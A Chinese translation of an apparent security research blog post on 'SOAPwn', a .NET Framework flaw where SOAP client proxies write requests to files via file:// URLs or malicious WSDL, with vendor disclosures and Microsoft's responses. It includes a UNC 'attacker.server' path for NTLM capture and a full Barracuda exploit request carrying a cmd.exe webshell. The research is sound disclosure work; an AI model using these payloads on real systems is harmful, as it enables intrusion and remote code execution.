SOAPwn:通过HTTP客户端代理与WSDL入侵.NET Framework应用

本文揭示了.NET Framework中HTTP客户端代理(如SoapHttpClientProtocol)的设计缺陷,该缺陷允许攻击者通过控制URL或WSDL文件,将SOAP请求写入文件系统,从而导致NTLM中继、任意文件写入乃至远程代码执行。研究影响了包括Barracuda、Ivanti、Umbraco和微软自家产品在内的多个企业级应用。

SOAPwn:通过HTTP客户端代理与WSDL入侵.NET Framework应用

欢迎回来!在2025年即将结束之际,我们自然在等待下一轮SSLVPN漏洞利用在1月上演(就像2024年和2025年那样)。在此之前,我们希望清理一下手头的研究,看看能发表多少。在今年欧洲黑帽大会上,Piotr Bazydlo 发表了 “SOAPwn: Pwning .NET Framework Applications Through HTTP Client Proxies And WSDL”。这项研究最终识别出.NET Framework中的新原语,虽然微软多次决定不修复(DONOTFIX),但这些原语已成功被武器化,针对企业级设备实现了远程代码执行。一如既往。

在我们极其粗略的审查中,被识别为受影响的解决方案包括企业级设备:

  • Barracuda Service Center RMM (CVE-2025-34392) - 已在hotfix 2025.1.1中修复。
  • Ivanti Endpoint Manager (EPM) (CVE-2025-13659) - 已修复
  • Umbraco 8 CMS
  • Microsoft PowerShell
  • Microsoft SQL Server Integration Services
  • “可能”更多……

鉴于.NET的广泛使用以及一天中时间的限制,受影响产品的列表应被视为“轶事”。毫无疑问,有大量受影响的供应商和内部解决方案,但坦率地说,我们相信我们在上面已经表明了观点。

虽然今天的博文旨在为读者提供我们研究的概述及其成果,但更深入的细节可以在链接的白皮书中找到。

为了让我们都进入正确的心情 - 让我们向您展示这项研究针对Barracuda Service Center RMM(已在hotfix 2025.1.1中修复,现分配了CVE-2025-34392)的武器化过程 - 而且还是无需认证的。

[视频演示链接已移除]

这是一个圣诞奇迹!

HttpWebClientProtocol - 无效转换漏洞

早在2024年,我们深入研究SharePoint的攻击面时,注意到了一些不寻常的地方。在某些地方,攻击者可能潜在地影响传递给SOAP客户端代理的URL。这个代理扩展了.NET Framework类 System.Web.Services.Protocols.SoapHttpClientProtocol

为了进一步解释,.NET Framework提供了三种不同的HTTP客户端代理类型:

  1. SoapHttpClientProtocol
  2. DiscoveryClientProtocol
  3. HttpSimpleClientProtocol

它们都继承自同一个父类:HttpWebClientProtocol。为了保持可读性,我们专注于SoapHttpClientProtocol,因为它无疑是最常见的,并出现在各种代码库中。它的名称和官方文档都描绘了一个简单的图景:它应该处理通过HTTP传输的SOAP消息。直接、可预测、安全。

现实却没那么配合。

为了理解微软打算让这个类如何工作,请考虑他们自己的示例代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
namespace MyMath {
    // 为可读性移除导入语句

    [System.Web.Services.WebServiceBindingAttribute(Name="MyMathSoap", Namespace="http://www.contoso.com/")]
    public class MyMath : System.Web.Services.Protocols.SoapHttpClientProtocol { // [1]

        [System.Diagnostics.DebuggerStepThroughAttribute()]
        public MyMath() { // [2]
            this.Url = "http://www.contoso.com/math.asmx"; // [3]
        }

        [System.Diagnostics.DebuggerStepThroughAttribute()]
        [System.Web.Services.Protocols.SoapDocumentMethodAttribute("http://www.contoso.com/Add", RequestNamespace="http://www.contoso.com/", ResponseNamespace="http://www.contoso.com/", Use=System.Web.Services.Description.SoapBindingUse.Literal, ParameterStyle=System.Web.Services.Protocols.SoapParameterStyle.Wrapped)]
        public int Add(int num1, int num2) { // [4]
            object[] results = this.Invoke("Add", new object[] {num1,
                        num2}); 
            return ((int)(results[0]));
        }
        // 为可读性移除异步调用
    }
}

长话短说:

  • 类在引用点[3]设置SOAP服务的目标URL。
  • 它还定义了一个名为Add的简单SOAP方法。

那么这在实践中是如何表现的呢?你可以使用这个代理类以干净、结构化的方式发送SOAP HTTP请求。例如,你的应用程序可能包含这样的代码:

1
2
MyMath math = new MyMath();
math.Add(2, 3);

结果:

  • SOAP HTTP请求被发送到MyMath构造函数中定义的http://www.contoso.com/math.asmx
  • SOAP消息调用远程服务上的Add方法,并将两个整数(2和3)作为参数包含在内。

这使得它成为在.NET Framework中执行SOAP请求的一种非常方便的方式。无需手动构建有效的SOAP XML主体,并且这些代理类出现在许多实际应用程序中。

同样的想法也适用于其他两种代理类型,DiscoveryClientProtocolHttpSimpleClientProtocol。唯一的实际区别是那两个发送原始HTTP请求而不是SOAP。

现在到了重要的部分:这些代理如何处理URL,以及它们如何准备HTTP请求本身?这涉及到很多内部管道。

重要的是,最终由方法HttpWebClientProtocol.GetWebRequest负责创建底层的WebRequest对象。这就是乐趣开始的地方:

1
2
3
4
5
protected override WebRequest GetWebRequest(Uri uri)
{
    WebRequest webRequest = base.GetWebRequest(uri); // [1]
    // 为可读性移除...
}

在引用点[1],代码调用WebClientProtocol.GetWebRequest来获取底层的WebRequest对象。快速查看该方法告诉我们更多:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
protected virtual WebRequest GetWebRequest(Uri uri)
{
    if (uri == null)
    {
        throw new InvalidOperationException(Res.GetString("WebMissingPath"));
    }
    WebRequest webRequest = WebRequest.Create(uri);
    this.PendingSyncRequest = webRequest;
    webRequest.Timeout = this.timeout;
    webRequest.ConnectionGroupName = this.connectionGroupName;
    webRequest.Credentials = this.Credentials;
    webRequest.PreAuthenticate = this.PreAuthenticate;
    webRequest.CachePolicy = WebClientProtocol.BypassCache;
    return webRequest;
}

我们可以看到该方法使用WebRequest.Create来初始化客户端,并且它没有将结果转换为HttpWebRequest。如果你不非常熟悉.NET Framework,这可能看起来无害。实际上,这非常有趣。

WebRequest.Create根据URL方案选择底层的客户端实现。这里有三个常见的方案:

  • httphttps
  • ftp
  • file

如果URL是http://localhost,调用返回一个HttpWebRequest。如果URL是file:///Windows/win.ini,它返回一个FileWebRequest。这就是为什么开发人员通常在调用WebRequest.Create后立即转换结果。

例如,这是在.NET Framework中创建HTTP客户端的标准且安全的方式:

1
HttpWebRequest myReq = (HttpWebRequest) WebRequest.Create(someURL);

这个转换在代理代码中缺失了。这意味着该方法可以返回一个非HTTP协议的处理程序。子类后来仍然尝试转换结果,所以让我们看看完整的HttpWebClientProtocol.GetWebRequest方法,看看实际发生了什么:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected override WebRequest GetWebRequest(Uri uri)
{
    WebRequest webRequest = base.GetWebRequest(uri); // [1]
    HttpWebRequest httpWebRequest = webRequest as HttpWebRequest; // [2]
    if (httpWebRequest != null) // [3]
    {
        httpWebRequest.UserAgent = this.UserAgent;
        httpWebRequest.AllowAutoRedirect = this.allowAutoRedirect;
        httpWebRequest.AutomaticDecompression = (this.enableDecompression ? DecompressionMethods.GZip : DecompressionMethods.None);
        httpWebRequest.AllowWriteStreamBuffering = true;
        httpWebRequest.SendChunked = false;
        if (this.unsafeAuthenticatedConnectionSharing != httpWebRequest.UnsafeAuthenticatedConnectionSharing)
        {
            httpWebRequest.UnsafeAuthenticatedConnectionSharing = this.unsafeAuthenticatedConnectionSharing;
        }
        if (this.proxy != null)
        {
            httpWebRequest.Proxy = this.proxy;
        }
        if (this.clientCertificates != null && this.clientCertificates.Count > 0)
        {
            httpWebRequest.ClientCertificates.AddRange(this.clientCertificates);
        }
        httpWebRequest.CookieContainer = this.cookieJar;
    }
    return webRequest; // [4]
}

让我们解释一下:

  • 在引用点[2],代码确实尝试将返回的WebRequest转换为HttpWebRequest。然而,它使用了as运算符。如果运行时无法执行转换,例如尝试将FileWebRequest转换为HttpWebRequest,结果就是简单的null
  • 在引用点[3],代码检查httpWebRequest是否不为null。如果有效,它会应用一系列HTTP相关设置。
  • 在引用点[4],方法返回原始的webRequest对象。这是问题的根本原因。该方法创建了一个新的httpWebRequest实例,然后立即丢弃它,并返回未触及的原始请求对象。很难想象这是预期的行为。该方法几乎肯定应该返回httpWebRequest实例。

影响是显而易见的。.NET Framework HTTP客户端代理可以被引导使用文件系统处理程序。如果我们将URL设置为类似file:///Windows/win.ini的东西,代理将使用FileWebRequest而不是HttpWebRequest进行操作。因为SOAP请求使用POST方法,SoapHttpClientProtocol会很乐意将SOAP请求主体直接写入文件。

等等,什么?为什么一个SOAP代理需要能够“发送”SOAP请求到本地文件?这个星球上没有人期望从文件系统接收到有效的SOAP响应。快速浏览一下HttpWebClientProtocol的官方文档就能证实每个人的假设:

表示所有使用HTTP传输协议的XML Web服务客户端代理的基类。

并没有自豪地提到“也适用于FTP和FILE,有时是偶然的”。

唯一的条件是:攻击者需要控制代理的Url成员。所以,是的,这种行为很奇怪且完全违反直觉。真正的问题是,简单地说,我们能用它做什么?如何将这种奇怪的设计选择转变为实际的安全问题?

实际利用 #1 - NTLM 中继

那么,我们能做什么呢?嗯,影响最小的是NTLM中继或挑战披露。如果攻击者提供了一个UNC路径,SOAP请求将被写入攻击者控制的SMB共享。例如:file://attacker.server/poc/poc

应用程序将尝试将SOAP主体写入该路径,而攻击者则捕获NTLM挑战并尝试“破解它”。我们猜想,这仍然是域账户的一个有意义的结果,并且根据环境,完全的NTLM中继也可能是可能的。

也就是说,这只是起点。有更有趣的方式来滥用这种行为。

实际利用 #2 - 任意文件写入

事情很快变得更有趣。这种行为也可以用于任意文件写入。该原语的优势很明显:

  • 攻击者控制完整的写入路径。代理可以指向任何位置,使用任何文件名或扩展名。
  • 代理会覆盖现有文件,这对于替换脚本或配置文件很有用。
  • 如果SOAP方法接受攻击者控制的输入,攻击者可以将任意字符串写入生成的XML中。这通常足以丢弃CSHTML webshell。

也有一些限制:

  • 对写入内容的控制是有限的。输出始终是SOAP XML文档。即使攻击者控制该XML内部的字符串参数,某些字符(如<)也总是被编码。这阻止了直接上传ASP或BAT文件。
  • 利用很大程度上取决于应用程序以及攻击者是否能影响SOAP方法的参数。如果唯一可用的参数是整数,攻击者无法有效地交付有效载荷。

在简单的示例场景中,攻击者控制代理调用的目标URL targetURL 和SOAP方法的字符串参数 testString。他们可以提供如下值:

  • targetURL: file:///Users/Public/a.cshtml
  • testString: @maliciouscodehere

然后代理写入文件并嵌入攻击者控制的C#代码,这可以作为一个webshell。

成了吗?当SoapHttpClientProtocol指向文件URL时,应用程序通常会抛出错误,例如:

Client found response content type of ‘application/octet-stream’, but expected ’text/xml’. The request failed with an empty response

这是预期的。应用程序期望一个SOAP响应,但文件系统无法发送一个。据我们所知,微软尚未(还)为NTFS添加AI功能,因此文件系统无法回复SOAP请求。亲爱的微软,不。

向微软报告 #1 - 无修复

我们必须决定这个问题是属于微软还是属于使用代理类的应用程序。我们得出的结论是问题在于微软的责任,因为HTTP客户端代理将SOAP请求写入本地文件系统的想法是如此怪异和不可预测,以至于没有开发人员会合理地预期它。

得出这个结论还有几个原因:

  1. 代理类在其名称中字面上包含字符串http,而不是file
  2. 官方文档指出这些类旨在与HTTP传输协议一起使用:“表示所有使用HTTP传输协议的XML Web服务客户端代理的基类。”
  3. 一个SOAP客户端将其请求写入文件,然后因为文件系统无法提供SOAP响应而抛出异常,这听起来不像预期的行为。

不出所料,微软将此行为视为功能而非漏洞。回应将责任归咎于开发人员和用户。根据微软的说法,传递给SoapHttpClientProtocol的URL永远不应由用户控制,开发人员有责任验证输入。当然,所有开发人员都会定期反编译.NET Framework程序集并阅读内部实现,所以他们显然知道一个“HTTP客户端代理”可以说服其将数据写入文件系统。怎么会有人不这么想呢?

通过WSDL导入进行利用

一年后,一位同事说服我们研究一下Barracuda Service Center,这是一个广泛部署的RMM平台。令人失望的是,没过多久就发现了一些有趣的东西:一个无需任何认证即可访问的SOAP API方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public XmlDocument InvokeRemoteMethod(string urlwsdl, string wsmethod, object[] invalues, string[] dllincludes, bool usecredentials)
{
    XmlDocument xdoc = new XmlDocument();
    wsdl_compiler_tk comp = new wsdl_compiler_tk(urlwsdl, wsmethod, invalues); // [1]
    //...
    if (comp.DynamicLoad()) // [2]
    {
        xdoc = comp.InvokeWebMethod(); // [3]
    }
    //...
}

有太多的危险信号,难以一一列举:

  • 其中一个输入名为urlwsdl,这立即暗示了SSRF的可能性。
  • 参数wsmethodinvalues暗示了基于反射的方法调用。
  • wsdl_compiler_tk在引用点[1]被实例化,这很少是好事的前兆。
  • 后来出现了名为DynamicLoadInvokeWebMethod的方法,这再次指向反射。

我们开始详细审查代码,简化的流程如下:

  1. 代码从攻击者控制的URL获取WSDL。
  2. 使用.NET Framework的ServiceDescriptionServiceDescriptionImporter类加载该WSDL。
  3. 基于导入的服务描述生成C# SOAP代理类。
  4. 将生成的代理编译成DLL并加载它。
  5. 最后,使用攻击者提供的参数执行该代理类中的攻击者控制的方法。

这里有很多内容需要消化。我们首先想观察一下生成的代理类的真实例子。我们向端点提供了一个简单的WSDL,并检查了新编译的DLL中出现的类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public class TestService : SoapHttpClientProtocol
{
    public TestService()
    {
        base.SoapVersion = SoapProtocolVersion.Soap12;
        base.Url = "http://localhost/test.asmx";
    }

    [SoapDocumentMethod("http://tempuri.org/TestMethod", RequestNamespace = "http://tempuri.org/", ResponseNamespace = "http://tempuri.org/", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Wrapped)]
    public string TestMethod(string testarg)
    {
        object[] array = base.Invoke("TestMethod", new object[]
        {
            testarg
        });
        return (string)array[0];
    }
}

正如大家所说,当事情看起来好得令人难以置信时,通常就是如此?自动生成的类扩展了SoapHttpClientProtocol,而我们已经知道这个代理不能正确处理URL。在示例中,生成的URL是http://localhost/test.asmx。我们如何从WSDL本身控制这个值呢?答案是通过服务定义。在我们的示例WSDL中,它显示如下:

1
2
3
4
5
<service name="TestService">
  <port name="TestServiceSoap12" binding="tns:TestServiceSoap12">
    <soap12:address location="http://localhost/test.asmx" />
  </port>
</service>

我们还可以控制生成的代理类的几乎所有部分。例如,我们可以影响:

  • 代理类名称,例如TestService
  • SOAP方法的名称,例如TestMethod
  • 这些方法的参数,包括它们的类型和名称,例如string testarg
  • 其他几个结构元素。

接下来的问题是显而易见的。ServiceDescriptionImporter会验证WSDL中的服务定义吗?它会拒绝任何不是httphttps的东西吗?

我们通过修改WSDL以使用不同的协议来测试:

1
2
3
4
5
<service name="TestService">
  <port name="TestServiceSoap12" binding="tns:TestServiceSoap12">
    <soap12:address location="file:///inetpub/wwwroot/poc.aspx" />
  </port>
</service>

然后我们再次触发代码生成:

1
2
3
4
5
public TestService()
{
    base.SoapVersion = SoapProtocolVersion.Soap12;
    base.Url = "file:///inetpub/wwwroot/poc.aspx";
}

ServiceDescriptionImporter不会验证生成的HTTP客户端代理使用的URL。这适用于所有支持的代理类型。实际上,这为我们提供了一种新的、非常简洁的方式来利用我们之前识别的无效转换问题。

即使有这样的发现,我们立刻有两个问题:

  1. 这是.NET Framework中从WSDL生成SOAP客户端的标准模式,还是只有Barracuda实现的特殊模式?
  2. 我们知道可以在Barracuda中实现预认证文件写入。我们能更进一步实现RCE吗?

我们从第一个问题开始。快速搜索ServiceDescriptionImporter并访问微软文档证实了预期的行为。描述中写道:

提供一种生成XML Web服务客户端代理类的方法。

简而言之,从WSDL文件生成C#代码是正常且完全支持的。这是微软期望开发人员使用的工作流程。我们还询问了Claude的看法,因为每个人都喜欢一点氛围编程。它的第一个建议完全相同:使用ServiceDescriptionImporter自动生成代理。

所有这些都很重要。它表明基于WSDL的代理生成是.NET Framework应用程序中正常且被鼓励的模式。这意味着无效转换问题很可能在许多导入WSDL文件的代码库中都可被利用。

有了这个确认,并且微软实际上支持这种设计模式,我们继续研究实际利用的可能性。

实际利用 #3 - WSDL导入

然后,我们发现了另一种方式。通过WSDL导入进行利用远比直接滥用SoapHttpClientProtocol更强大。我们控制WSDL,这意味着我们控制生成的SOAP HTTP客户端代理代码的主要部分。通过选择SOAP方法名称,我们控制结果请求中的XML标签名称。如果应用程序允许我们影响方法参数(如Barracuda示例所示),我们还控制这些标签内部的值。

本质上,代理类可以生成概念上如下的SOAP主体:

[XML示例图已移除]

您可以看到我们在很大程度上控制了大部分XML。这起初看起来很有希望,但某些字符(如<>)总是被HTML编码为&lt;&gt;。这意味着我们不能直接通过一个简单的字符串参数(如<script>)来删除ASP或ASPX webshell。

“直接”这个词在这里很重要。坚定的研究人员通常可以找到另一条路径。WSDL导入引入的两种主要利用可能性总结如下。(此部分大幅缩短,请查阅白皮书以获取进一步技术细节。)

ASPX Webshell上传

因为我们控制一些XML元素名称,我们有一个非常简单的想法。我们希望生成的SOAP主体包含如下片段:

1
2
3
<script runat="server">
    攻击者对方法的输入,这将是.NET代码
</script>

这是一个有效的ASPX webshell。问题是ServiceDescriptionImporter没有提供简单的方法来定义SOAP主体内部的属性,因此没有直接的方法包含关键的runat="server"属性。呸。

幸运的是,有一条更复杂的路径。这完全取决于目标代码库如何反序列化传递给SOAP方法的参数。如果你能提供表示为复杂类型(而不是简单字符串或整数值)的输入参数,你可以直接将XML属性走私到SOAP主体中。在我们见过的不同产品中,有两种主要的反序列化模式:

  1. 基于XmlSerializer的复杂反序列化,或基于默认构造函数后跟设置器的反序列化。这种模式很常见,因为ServiceDescriptionImporter生成的类旨在与这些序列化器配合使用。在这种情况下,可以将XML属性注入SOAP主体。
  2. 根本没有自定义反序列化,代码只接受简单类型(如stringint)。

简而言之,如果你能通过WSDL控制足够多的SOAP主体,有时可以使用此技术删除功能齐全的ASPX webshell,并无摩擦地获得RCE。

通过命名空间的有效负载删除

有时事情并不顺利。你可能遇到以下情况:

  • 攻击者可以向应用程序提供恶意的WSDL,这允许利用无效转换并启用任意文件写入。
  • 但是,攻击者无法控制任何SOAP方法的输入参数。它们可能是硬编码的,或者应用程序可能只调用不接受参数的方法。

仍然有前进的道路。我们注意到WSDL中有一个部分总是出现在生成的SOAP主体中,无论方法如何调用:命名空间。

考虑以下WSDL片段:

[WSDL示例图已移除]

您可以看到,我们WSDL中定义的命名空间是一个有效的URL,查询字符串允许我们走私一些特殊字符。当SOAP方法被执行时,生成的SOAP请求主体将完全包含提供的命名空间:

[生成的SOAP主体图已移除]

命名空间直接包含在SOAP主体中。仅这一点就足以完成诸如:

  • 提供CSHTML webshell。
  • 提供恶意的PowerShell脚本,包括使用像$(command)这样的构造的有效负载。

可能还有其他使用此技术的方法,但这两种方法足以利用Ivanti Endpoint Manager和Microsoft PowerShell。例如,以下说明了在Ivanti Endpoint Manager中通过CSHTML上传实现的有效RCE:

[CSHTML上传示例图已移除]

唯一真正的限制是我们不能使用双引号字符"。这对于像CSHTML这样的有效负载来说不是问题,其中字符串可以从字符数组构造。

总之,WSDL导入为HttpWebClientProtocol中的无效转换问题创造了一个非常强大的利用途径。如果攻击者控制导入的WSDL,他们还控制:

  • 目标URL,这允许代理与文件系统交互。
  • SOAP方法名称。
  • 方法参数的名称和类型。

实际上,利用分为两步。首先,攻击者提供恶意WSDL文件,应用程序使用ServiceDescriptionImporter从中生成HTTP客户端代理。第二步是触发生成的SOAP方法的执行。这通常很简单,因为应用程序导入WSDL是有原因的,并且最终会调用该方法。确切的触发器取决于代码库和预期功能。

第二步的典型示例可能如下所示:

[代码调用流程示例图已移除]

在许多情况下,此漏洞可以通过上传webshell或有效的PowerShell脚本导致远程代码执行。可能还有其他创造性的选择,但我们不需要它们。

向微软报告 #2 - WSDL更新

我们在2025年7月再次向微软报告了这个问题。通过WSDL导入利用无效转换的能力使问题的影响显著增加。.NET Framework生态系统中的服务器端和客户端应用程序都依赖此模式。

人们通常没有意识到.NET Framework HTTP客户端代理可以被强制使用HTTP以外的协议。这似乎是代理设计中的一个根本缺陷。我们还向微软解释了几个第三方应用程序已经确认可以通过此向量被利用。我们要求他们考虑将其视为.NET Framework本身的漏洞。

在框架级别进行修复将一步消除所有受影响产品的所有相关漏洞。我们知道你很好奇微软的回应,但请稍等。首先,我们想展示一些选定产品中的真实漏洞。

已发现易受攻击的代码库列表

此时我们在生活中徘徊,决定随机挑选一些解决方案来查找ServiceDescriptionImporter的出现。

利用 - Barracuda Service Center RMM RCE (CVE-2025-34392)

让我们最终攻陷Barracuda Service Center!我们已经表明它公开了一个SOAP API方法,该方法从攻击者控制的URL生成SOAP客户端代理。然后使用攻击者提供的参数调用攻击者选择的SOAP方法。没有必要在这里重复相同的图表或调用流程。如果你需要复习,请参阅“通过WSDL导入进行利用”部分的开头。

相反,这是一个完全利用该漏洞的单一HTTP请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
POST /SCMessaging/scnoc.asmx HTTP/1.1
Host: barracuda.lab.local
Content-Type: text/xml; charset=utf-8
Content-Length: 1293
SOAPAction: "http://www.levelplatforms.com/nocsupportservices/2.0/InvokeRemoteMethod"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <InvokeRemoteMethod xmlns="http://www.levelplatforms.com/nocsupportservices/2.0/">
      <urlwsdl>http://192.168.111.130/poc.wsdl</urlwsdl>
      <wsmethod>poc</wsmethod>
      <invalues>
         <anyType xsi:type="xsd:string"><![CDATA[
        <scriptattr>
        protected void Page_Load(object sender, EventArgs e)
        {            
            System.Diagnostics.ProcessStartInfo processStartInfo = new System.Diagnostics.ProcessStartInfo();
            processStartInfo.FileName = "cmd.exe";
            processStartInfo.Arguments = "/c " + Request.QueryString["cmd"];
            processStartInfo.RedirectStandardOutput = true;
            processStartInfo.UseShellExecute = false;
            
            System.Diagnostics.Process process = System.Diagnostics.Process.Start(processStartInfo);
            using (System.IO.StreamReader streamReader = process.StandardOutput)
            {
                string ret = streamReader.ReadToEnd();
                Response.Clear(); 
                Response.Write(ret);
                Response.End();
            }
        }
        </scriptattr>
        ]]>
         </anyType>
      </invalues>
      <usecredentials>false</usecredentials>
    </InvokeRemoteMethod>
  </soap:Body>
</soap:Envelope>

在这个请求中:

  • urlwsdl设置为指向我们恶意WSDL的URL。
  • wsmethod设置为poc,因此应用程序调用生成的SOAP代理中的poc方法。
  • invalues包含一个参数,一个用XmlSerializer序列化的scriptattr对象。该对象包含ASPX webshell代码。

恶意WSDL将代理URL设置为file:///Program Files (x86)/Level Platforms/Service Center/SCMessaging/poc.aspx。这迫使生成的SoapHttpClientProtocol实例将SOAP主体写入该路径,从而导致删除一个有效的webshell。

你可以看一下扩展演示,附加了调试器。它展示了代码流程的重要部分,并显示了整个利用过程。

[视频演示链接已移除]

利用 - Umbraco 8 CMS

Umbraco CMS是最受欢迎和广泛信任的基于.NET的CMS平台之一。版本8是构建在.NET Framework上的最终版本,并于2025年结束生命,尽管它仍然被广泛部署。

我们发现,具有编辑Umbraco Forms权限的认证用户可以利用无效转换漏洞来实现认证后RCE。这些表单依赖于称为“数据源”的东西,而这些源的定义方式立即触发了我们的蜘蛛感应。在提供的功能中,我们非常有用的是可以定义一个类型为“Webservice”的数据源。一旦选择,你可以:

  1. 将其指向任意的WSDL。
  2. 指定Umbraco应执行哪个SOAP方法。

这是基于WSDL利用的完美设置。我们只需要Umbraco根据我们提供的WSDL生成一个SoapHttpClientProtocol实例。

惊喜惊喜:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private Assembly BuildAssemblyFromWSDL(Uri webServiceUri)
{
    Assembly result;
    try
    {
        bool flag = string.IsNullOrEmpty(webServiceUri.ToString());
        if (flag)
        {
            throw new Exception("Web Service Not Found");
        }
        XmlTextReader xmlreader = new XmlTextReader(webServiceUri.ToString() + "?wsdl"); // [1]
        ServiceDescriptionImporter descriptionImporter = this.BuildServiceDescriptionImporter(xmlreader); // [2]
        result = this.CompileAssembly(descriptionImporter); // [3]
    }
    catch (Exception exception)
    {
        Current.Logger.Error(exception, "Exception with WebService {WebServiceUrl}", new object[]
        {
            webServiceUri
        });
        throw;
    }
    return result;
}

这段代码从提供的URL获取WSDL。然后在引用点[2]使用ServiceDescriptionImporter加载它。最后,在引用点[3]生成代理代码并将其编译成DLL。

在我们的示例中,我们创建了:

  • 一个不接受输入参数的SOAP方法
  • 一个通过WSDL中定义的命名空间传递的CSHTML webshell有效负载

结果是以下生成的SOAP代理类:

[生成的代理类代码图已移除]

然后你可以触发表单并观察生成的SOAP方法在调试器中执行:

[调试器截图已移除]

最后,你可以享受你刚刚删除的恶意CSHTML文件。

[视频演示链接已移除]

微软的最终回应

我们现在可以看看微软的最终回应。亲爱的读者,你怎么想?你有两个选择:

预测微软的最终回应并不需要天才:

经过仔细调查,此案例未达到微软立即修复的标准,因为这属于应用程序问题,因为用户不应消费可能生成并运行代码的不受信任的输入。

不出所料,这显然是开发人员的错。你使用.NET Framework HTTP客户端代理编写了一个应用程序,但不知何故没有阅读.NET Framework的内部代码。你怎么会错过HTTP代理可以将SOAP请求写入文件并访问文件系统的部分?当然还有它可以通过FTP发送HTTP请求的部分。

好了,够了 - 我们现在有什么?我们现在在.NET Framework中有了一个新的易受攻击的接收点,以及更多潜在的漏洞需要发现。

自然地,我们开始向我们偶然发现的受影响供应商报告问题,并再次发现自己向微软提交报告 - 特别是在PowerShell和SQL Server Integration Services中。既然微软表示缺乏URL验证完全是应用程序的责任,我们报告了微软自己产品中的漏洞,并礼貌地等待补丁。然后一个熟悉的消息出现在PowerShell案例中:

经过彻底审查,我们已确定此案例不符合立即修复的标准。问题源于应用程序行为,用户应避免消费可能生成并执行代码的不受信任的输入。

所以首先我们责怪应用程序。如果那不是一个选项,因为需要修复微软自己的代码,我们就责怪用户。尼安德特人用户应该手动验证WSDL文件,并意识到它可以将SOAP请求写入文件而不是通过HTTP发送它们。

唉。但一如既往,没有什么是不能用文档更新和警告来“修复”的漏洞。我们的研究可以通过dotnet存储库中的这次提交来总结:

[GitHub提交链接已移除]

因此,微软没有修复任何已报告的漏洞。慢慢的掌声。

最终想法

亲爱的读者,以上就是全部内容。这篇文章总结了我们2025年欧洲黑帽大会上展示的研究,并在随附的白皮书中提供了重要深度。我们浏览了.NET Framework HTTP客户端代理的奇怪行为,隐藏在众目睽睽之下的意外文件写入超能力,以及这在几个知名企业产品中解锁的真正漏洞。

在高层次上,故事很简单。.NET Framework允许其HTTP客户端代理被诱骗与文件系统交互。在适当的条件下,它们会很乐意将SOAP请求写入本地路径,而不是通过HTTP发送它们。在最好的情况下,这导致NTLM中继或挑战捕获。在最坏的情况下,它通过webshell上传或PowerShell脚本删除成为远程代码执行。影响取决于每个应用程序如何使用代理类,但实际上,在我们调查的几乎每个产品中,我们都实现了RCE。

最强大的利用途径出现在应用程序使用ServiceDescriptionImporter类从攻击者提供的WSDL文件生成HTTP客户端代理时。仅此机制就在Barracuda、Ivanti、Microsoft和Umbraco的产品中实现了成功的利用,并且只需几天的审查就找到了可行的案例。

技术性TLDR:

  • 搜索ServiceDescriptionImporter的使用,并检查它是否对攻击者控制的输入进行操作。如果是,应用程序可能易受攻击。
  • 搜索SoapHttpClientProtocolDiscoveryClientProtocolHttpPostClientProtocolHttpGetClientProtocol的使用。如果攻击者可以影响Url属性,应用程序可能易受攻击。

这种技术可能会出现在许多其他代码库中,无论是内部的还是供应商提供的。如果这里的研究证明了什么,那就是.NET Framework仍然有一些惊喜。

有关完整的技术细节和完整的代码流程,请参阅白皮书。watchTowr Labs发布的研究只是watchTowr平台能力的一瞥 - 提供针对真实攻击者行为的自动化、持续测试。通过将主动威胁情报和外部攻击面管理结合到单一的抢先暴露管理能力中,watchTowr平台帮助组织快速应对新出现的威胁 - 并赋予他们最重要的东西:响应时间。

[watchTowr平台演示请求链接已移除]

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计